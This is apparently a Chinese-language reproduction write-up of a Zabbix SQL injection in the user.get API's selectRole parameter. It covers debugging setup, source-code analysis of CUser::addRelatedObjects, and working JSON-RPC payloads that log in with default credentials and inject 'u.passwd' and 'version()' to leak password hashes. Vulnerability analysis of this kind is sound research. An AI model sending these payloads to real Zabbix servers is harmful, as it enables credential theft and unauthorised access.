仅供学习交流,请勿用于非法用途
Zabbix 是一款开源的网络监控和报警系统,用于监视网络设备、服务器和应用程序的性能和可用性。
攻击者可以通过API接口,向 user.get API端点发送恶意构造的请求,注入SQL代码,以实现权限提升、数据泄露或系统入侵。
6.0.0 <= Zabbix <= 6.0.31
6.4.0 <= Zabbix <= 6.4.16
Zabbix 7.0.0
参考https://forum.butian.net/share/3056
访问https://cdn.zabbix.com/zabbix/appliances/stable/7.0/7.0.0/
选择 *vmx.tar.gz 这个,解压双击.vmx 文件即可导入 Vmware Workstation
然后开机即可,访问机器ip的80端口即可看到 zabbix 登录页面,默认账号密码是root/zabbix
参考https://juejin.cn/post/7201509055713493049
我这里源码从 https://cdn.zabbix.com/zabbix/sources/stable/7.0/ 下载的
虚拟机中没有php命令,但是有php-fpm命令可以用
php-fpm -i获取到配置信息后使用wizard安装php xdebug拓展,这里安装xdebug-3.4.0
cd /tmp
curl https://xdebug.org/files/xdebug-3.4.0.tgz -o xdebug-3.4.0.tgz
tar -xvzf xdebug-3.4.0.tgz
cd xdebug-3.4.0
# 编译所需环境
yum install -y install gcc automake autoconf libtool make php-devel
phpize
./configue
make
cd module
cp xdebug.so /usr/lib64/php/modules/
然后vi /etc/php.d/99-xdebug.ini 添加行zend_extension = xdebug
然后systemctl restart php-fpm重启 php-fpm,最后php-fpm -v查看是否成功生效
配置php.ini文件,在末尾添加以下内容
xdebug.mode = debug,develop,trace
xdebug.start_with_request = yes
xdebug.client_host = 192.168.182.1
xdebug.client_port = 9003
具体作用可以参考https://xdebug.org/docs/develop
这里是指定vscode所在机子的ip和通信端口(注意要开放这个端口)
然后在vscode添加调试配置,将生成的php xdebug的默认配置改为
{
"name": "远程调试",
"type": "php",
"request": "launch",
"port": 9003,
"pathMappings": {
"/usr/share/zabbix": "${workspaceFolder}/ui"
},
"hostname": "192.168.182.1"
}
Zabbix 的addRelatedObjects函数中的CUser类中存在SQL注入,此函数由 CUser.get 函数调用,具有API访问权限的用户可利用造成越权访问高权限用户敏感信息以及执行恶意SQL语句等危害。
首先通过账号密码登录后台
POST /api_jsonrpc.php HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json-rpc
Content-Length: 106
{"jsonrpc": "2.0", "method": "user.login", "params": {"username": "Admin", "password": "zabbix"}, "id": 1}
然后SQL注入获取敏感信息
POST /api_jsonrpc.php HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json-rpc
Content-Length: 167
{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid, u.passwd", "roleid"], "userids": "1"}, "auth": "2ae264ef7c19d2c2016a302c64e974c6", "id": 1}
定位漏洞点ui/include/classes/api/services/CUser.php#get这个方法
public function get($options = []) {
$result = [];
$sqlParts = [
'select' => ['users' => 'u.userid'],
'from' => ['users' => 'users u'],
'where' => [],
'order' => [],
'limit' => null
];
$defOptions = [
'usrgrpids' => null,
'userids' => null,
'mediaids' => null,
'mediatypeids' => null,
// filter
'filter' => null,
'search' => null,
'searchByAny' => null,
'startSearch' => false,
'excludeSearch' => false,
'searchWildcardsEnabled' => null,
// output
'output' => API_OUTPUT_EXTEND,
'editable' => false,
'selectUsrgrps' => null,
'selectMedias' => null,
'selectMediatypes' => null,
'selectRole' => null,
'getAccess' => null,
'countOutput' => false,
'preservekeys' => false,
'sortfield' => '',
'sortorder' => '',
'limit' => null
];
$options = zbx_array_merge($defOptions, $options);
// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
if (!$options['editable']) {
$sqlParts['from']['users_groups'] = 'users_groups ug';
$sqlParts['where']['uug'] = 'u.userid=ug.userid';
$sqlParts['where'][] = 'ug.usrgrpid IN ('.
' SELECT uug.usrgrpid'.
' FROM users_groups uug'.
' WHERE uug.userid='.self::$userData['userid'].
')';
}
else {
$sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
}
}
// userids
if ($options['userids'] !== null) {
zbx_value2array($options['userids']);
$sqlParts['where'][] = dbConditionInt('u.userid', $options['userids']);
}
// usrgrpids
if ($options['usrgrpids'] !== null) {
zbx_value2array($options['usrgrpids']);
$sqlParts['from']['users_groups'] = 'users_groups ug';
$sqlParts['where'][] = dbConditionInt('ug.usrgrpid', $options['usrgrpids']);
$sqlParts['where']['uug'] = 'u.userid=ug.userid';
}
// mediaids
if ($options['mediaids'] !== null) {
zbx_value2array($options['mediaids']);
$sqlParts['from']['media'] = 'media m';
$sqlParts['where'][] = dbConditionInt('m.mediaid', $options['mediaids']);
$sqlParts['where']['mu'] = 'm.userid=u.userid';
}
// mediatypeids
if ($options['mediatypeids'] !== null) {
zbx_value2array($options['mediatypeids']);
$sqlParts['from']['media'] = 'media m';
$sqlParts['where'][] = dbConditionInt('m.mediatypeid', $options['mediatypeids']);
$sqlParts['where']['mu'] = 'm.userid=u.userid';
}
// filter
if (is_array($options['filter'])) {
if (array_key_exists('autologout', $options['filter']) && $options['filter']['autologout'] !== null) {
$options['filter']['autologout'] = getTimeUnitFilters($options['filter']['autologout']);
}
if (array_key_exists('refresh', $options['filter']) && $options['filter']['refresh'] !== null) {
$options['filter']['refresh'] = getTimeUnitFilters($options['filter']['refresh']);
}
if (isset($options['filter']['passwd'])) {
self::exception(ZBX_API_ERROR_PARAMETERS, _('It is not possible to filter by user password.'));
}
$this->dbFilter('users u', $options, $sqlParts);
}
// search
if (is_array($options['search'])) {
if (isset($options['search']['passwd'])) {
self::exception(ZBX_API_ERROR_PARAMETERS, _('It is not possible to search by user password.'));
}
zbx_db_search('users u', $options, $sqlParts);
}
// limit
if (zbx_ctype_digit($options['limit']) && $options['limit']) {
$sqlParts['limit'] = $options['limit'];
}
$userIds = [];
$sqlParts = $this->applyQueryOutputOptions($this->tableName(), $this->tableAlias(), $options, $sqlParts);
$sqlParts = $this->applyQuerySortOptions($this->tableName(), $this->tableAlias(), $options, $sqlParts);
$res = DBselect(self::createSelectQueryFromParts($sqlParts), $sqlParts['limit']);
while ($user = DBfetch($res)) {
unset($user['passwd']);
if ($options['countOutput']) {
$result = $user['rowscount'];
}
else {
$userIds[$user['userid']] = $user['userid'];
$result[$user['userid']] = $user;
}
}
if ($options['countOutput']) {
return $result;
}
/*
* Adding objects
*/
if ($options['getAccess'] !== null) {
foreach ($result as $userid => $user) {
$result[$userid] += ['gui_access' => 0, 'debug_mode' => 0, 'users_status' => 0];
}
$access = DBselect(
'SELECT ug.userid,MAX(g.gui_access) AS gui_access,'.
' MAX(g.debug_mode) AS debug_mode,MAX(g.users_status) AS users_status'.
' FROM usrgrp g,users_groups ug'.
' WHERE '.dbConditionInt('ug.userid', $userIds).
' AND g.usrgrpid=ug.usrgrpid'.
' GROUP BY ug.userid'
);
while ($userAccess = DBfetch($access)) {
$result[$userAccess['userid']] = zbx_array_merge($result[$userAccess['userid']], $userAccess);
}
}
if ($result) {
$result = $this->addRelatedObjects($options, $result);
}
// removing keys
if (!$options['preservekeys']) {
$result = zbx_cleanHashes($result);
}
return $result;
}
可以看出这里在解析传入的参数。首先将传入的参数合并到参数模板中,然后根据合并后的参数调整SQL语句的from、where和limit等子句,然后查询用户表中所有字段
fetch结果集后,unset了passwd这个敏感字段,所以预期这里的结果是获取不到passwd这个字段的
while ($user = DBfetch($res)) {
unset($user['passwd']);
if ($options['countOutput']) {
$result = $user['rowscount'];
}
else {
$userIds[$user['userid']] = $user['userid'];
$result[$user['userid']] = $user;
}
}
处理完查询的结果集后,又向结果集中添加了一些对象,这里调用了CUser#addRelatedObjects()这个方法,跟进
Adds the related objects requested by "select*" options to the resulting object set.
protected function addRelatedObjects(array $options, array $result) {
$result = parent::addRelatedObjects($options, $result);
$userIds = zbx_objectValues($result, 'userid');
// ......
// adding user role
if ($options['selectRole'] !== null && $options['selectRole'] !== API_OUTPUT_COUNT) {
if ($options['selectRole'] === API_OUTPUT_EXTEND) {
$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
}
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
foreach ($result as $userid => $user) {
$result[$userid]['role'] = [];
}
while ($db_role = DBfetch($db_roles)) {
$userid = $db_role['userid'];
unset($db_role['userid']);
$result[$userid]['role'] = $db_role;
}
}
return $result;
}
可以看到这个方法在adding user role这个功能点时,将用户可控的options参数内容直接拼接到了SQL语句中,于是造成了SQL注入。并且查询结果会存进$result数组中返回,最终以 json 形式返回到客户端。
并且这里注入的位置在查询的字段名处,可利用度相当高,于是可以轻松构造相关恶意语句
{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid, version()", "roleid"], "userids": "1"}, "auth": "2ae264ef7c19d2c2016a302c64e974c6", "id": 1}
第一次复现 zabbix 的漏洞,如有纰漏,欢迎交流